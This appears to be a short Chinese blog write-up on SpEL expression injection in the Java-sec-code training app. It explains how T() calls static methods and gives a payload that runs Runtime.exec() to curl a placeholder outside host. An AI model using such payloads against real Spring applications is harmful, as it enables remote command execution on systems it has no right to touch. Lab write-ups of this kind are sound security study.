天天看點

[Java-sec-code]SpEL表達式注入

文章目錄

  • ​​SpEL​​
  • ​​SpEL表達式注入​​

SpEL

我們學安全主要了解那些對我們有用的東西,在這裡有一篇連結友善大家進行了解https://www.jianshu.com/p/e0b50053b5d3

此外,我覺得其中最重要的是​​

​通過 T() 調用一個類的靜态方法,它将傳回一個 Class Object,然後再調用相應的方法或屬性:​

​​,并且如果包在​

​java.lang​

​下面可以省略這一部分,是以我們便可以利用此方法調用Runtime執行指令

SpEL表達式注入

在​

​org/joychou/controller/SpEL.java​

​下面,在這裡擷取get傳入的expression參數,并對其進行解析

[Java-sec-code]SpEL表達式注入

是以我們隻需要構造

T(java.lang.Runtime).getRuntime().exec("curl http://xxx.xx.xx?a=Y4tacker")      

簡化一下就是

T(Runtime).getRuntime().exec("curl http://xxx.xx.xx?a=Y4tacker")